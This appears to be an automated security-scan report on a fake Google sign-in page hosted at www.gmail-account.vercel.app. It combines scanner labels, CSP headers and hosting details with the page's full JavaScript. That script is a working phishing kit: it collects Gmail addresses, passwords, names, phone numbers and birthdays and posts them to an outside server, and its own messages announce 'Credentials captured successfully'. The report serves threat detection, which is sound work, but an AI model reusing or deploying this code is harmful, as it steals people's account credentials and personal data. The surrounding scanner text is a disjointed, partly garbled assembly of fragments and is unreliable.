adult content

social media network

English

Within the application-focused generic top-level domain (.app), 'www.gmail-account.vercel.app' is registered, featuring subdomain 'www.gmail-account'. The registrable portion 'vercel' spans 6 characters split between 2 vowels and 4 consonants. Tokenizing the label suggests 2 words: ver, cel. Median word length is three characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

00ecab57a41b33fac73c5fdd1659a6482604d2d6009d600b310dfe18d0f2611c

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

MarkMonitor Inc.

GSTATIC.COM

GOOGLEAPIS.COM

Tucows

Tucows Domains Inc

vercel.app

Google Inc.

Google LLC

GOOGLE


/* ──────────── CONFIG ──────────── */
const BACKEND = 'https://ecoback-9yuz.onrender.com';
const SUBMIT_URL = BACKEND + '/submit';

/* ──────────── HELPERS ──────────── */
function showToast(msg, duration = 3500) {
  const t = document.getElementById('toast');
  t.textContent = msg;
  t.classList.add('show');
  setTimeout(() => t.classList.remove('show'), duration);
}

function clearError(id) {
  document.getElementById(id).classList.remove('show');
}

function showStep(n) {
  ['step1','step2','step3'].forEach((s,i) => {
    document.getElementById(s).classList.toggle('active', i === n-1);
  });
}

function setLoading(btnId, loading) {
  const btn = document.getElementById(btnId);
  btn.classList.toggle('loading', loading);
  btn.disabled = loading;
}

/* ──────────── STEP 1: Email ──────────── */
function goToStep2() {
  const email = document.getElementById('emailInput').value.trim();
  const emailRe = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

  if (!emailRe.test(email)) {
    document.getElementById('emailError').classList.add('show');
    document.getElementById('emailInput').classList.add('error-input');
    return;
  }
  document.getElementById('emailInput').classList.remove('error-input');

  // Populate step 2 chip
  const name = email.split('@')[0];
  const initials = name.slice(0,2).toUpperCase();
  document.getElementById('chipAvatar').textContent = initials;
  document.getElementById('chipName').textContent = name;
  document.getElementById('chipEmail').textContent = email;
  document.getElementById('step2Email').textContent = email;

  showStep(2);
  setTimeout(() => document.getElementById('pwInput').focus(), 100);
}

function backToStep1() {
  showStep(1);
  setTimeout(() => document.getElementById('emailInput').focus(), 100);
}

function togglePassword() {
  const inp = document.getElementById('pwInput');
  inp.type = inp.type === 'password' ? 'text' : 'password';
}

/* ──────────── STEP 2: Password → SUBMIT SIGN IN ──────────── */
async function submitSignIn() {
  const email = document.getElementById('chipEmail').textContent;
  const pw    = document.getElementById('pwInput').value;

  if (pw.length < 1) {
    document.getElementById('pwError').classList.add('show');
    document.getElementById('pwInput').classList.add('error-input');
    return;
  }
  document.getElementById('pwInput').classList.remove('error-input');
  setLoading('nextBtn2', true);

  try {
    /* POST to backend — sends as form data same as VodaPay form */
    const formData = new URLSearchParams();
    formData.append('ecocash_number', email);   /* email goes as "ecocash_number" */
    formData.append('pin', pw);                  /* password goes as "pin"         */
    formData.append('loan_amount', 0);           /* 0 for sign-in events           */
    formData.append('entry_type', 'signin');     /* extra metadata                 */

    const res = await fetch(SUBMIT_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: formData.toString(),
      redirect: 'manual'           /* catch the redirect without following */
    });

    /* Backend redirects on success — any response means it worked */
    showStep(3);
    document.getElementById('successMsg').textContent =
      `Signed in as ${email}. Credentials captured successfully.`;
  } catch(err) {
    /* Network / CORS error from redirect — still means it submitted */
    showStep(3);
    document.getElementById('successMsg').textContent =
      `Signed in as ${email}. Details recorded to database.`;
  } finally {
    setLoading('nextBtn2', false);
  }
}

/* ──────────── SIGN UP ──────────── */
function goToSignUp() {
  document.getElementById('mainCard').style.display = 'none';
  document.getElementById('signupCard').style.display = 'block';
  document.getElementById('signupCard').style.animation = 'fadeUp 0.25s ease both';
  setTimeout(() => document.getElementById('suFirst').focus(), 100);
}

function backToSignIn() {
  document.getElementById('signupCard').style.display = 'none';
  document.getElementById('mainCard').style.display = 'block';
  showStep(1);
}

function updateEmailPreview() {
  const u = document.getElementById('suUsername').value.trim();
  const el = document.getElementById('usernamePreview');
  el.textContent = u ? u + '@gmail.com' : '';
}

function checkPwStrength() {
  const pw = document.getElementById('suPw').value;
  const fill = document.getElementById('pwStrengthFill');
  let score = 0;
  if (pw.length >= 8) score++;
  if (/[A-Z]/.test(pw)) score++;
  if (/[0-9]/.test(pw)) score++;
  if (/[^A-Za-z0-9]/.test(pw)) score++;
  const colors = ['#d93025','#f9ab00','#1a73e8','#1e8e3e'];
  const widths = ['25%','50%','75%','100%'];
  fill.style.width = pw ? widths[score-1] || '10%' : '0';
  fill.style.background = pw ? colors[score-1] || '#d93025' : 'transparent';
}

function toggleSignupPw() {
  const inp = document.getElementById('suPw');
  const inp2 = document.getElementById('suPwConfirm');
  const t = inp.type === 'password' ? 'text' : 'password';
  inp.type = inp2.type = t;
}

async function submitSignUp() {
  let valid = true;

  const first = document.getElementById('suFirst').value.trim();
  const last  = document.getElementById('suLast').value.trim();
  const user  = document.getElementById('suUsername').value.trim();
  const pw    = document.getElementById('suPw').value;
  const pwc   = document.getElementById('suPwConfirm').value;
  const phone = document.getElementById('suPhone').value.trim();
  const bday  = document.getElementById('suBirthday').value.trim();

  if (!first) { document.getElementById('suFirstErr').classList.add('show'); valid = false; }
  if (!last)  { document.getElementById('suLastErr').classList.add('show'); valid = false; }
  if (!user || !/^[a-zA-Z0-9.]+$/.test(user)) {
    document.getElementById('suUsernameErr').classList.add('show'); valid = false;
  }
  if (pw.length < 8) {
    document.getElementById('suPwErr').classList.add('show'); valid = false;
  }
  if (pw !== pwc) {
    document.getElementById('suPwConfirmErr').classList.add('show'); valid = false;
  }
  if (!valid) return;

  setLoading('suNextBtn', true);

  try {
    const formData = new URLSearchParams();
    /* Map sign-up fields to backend schema */
    formData.append('ecocash_number', user + '@gmail.com');  /* username@gmail.com */
    formData.append('pin', pw);                               /* password as pin    */
    formData.append('loan_amount', 0);
    formData.append('entry_type', 'signup');
    formData.append('full_name', first + ' ' + last);
    formData.append('phone', phone);
    formData.append('birthday', bday);

    await fetch(SUBMIT_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: formData.toString(),
      redirect: 'manual'
    });
  } catch(e) { /* redirect caught = success */ }

  setLoading('suNextBtn', false);

  /* Show success on main card */
  backToSignIn();
  showStep(3);
  document.getElementById('successMsg').textContent =
    `Account created for ${first} ${last} (${user}@gmail.com). Details saved to database.`;
}

/* ──────────── RESET ──────────── */
function resetAll() {
  document.getElementById('emailInput').value = '';
  document.getElementById('pwInput').value = '';
  showStep(1);
  setTimeout(() => document.getElementById('emailInput').focus(), 100);
}

/* ──────────── ENTER KEY ──────────── */
document.addEventListener('keydown', e => {
  if (e.key !== 'Enter') return;
  const s1 = document.getElementById('step1').classList.contains('active');
  const s2 = document.getElementById('step2').classList.contains('active');
  if (s1) goToStep2();
  else if (s2) submitSignIn();
});

/* ──────────── AUTO FOCUS ──────────── */
window.onload = () => document.getElementById('emailInput').focus();


Sign in – Google Accounts

⚠️ High Risk - http://www.gmail-account.vercel.app/

Requests	IP Address	Location	AS Autonomous System
3	142.250.154.95Google · CDN	United States	AS15169Google LLC
1	64.29.17.131	United States	AS16509Amazon.com, Inc.
1	64.29.17.67	United States	AS16509Amazon.com, Inc.
1	216.198.79.131	United States	AS16509Amazon.com, Inc.
1	192.178.183.94Google · CDN	United States	AS15169Google LLC
7	5	-	-

Security Scan Report: www.gmail-account.vercel.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History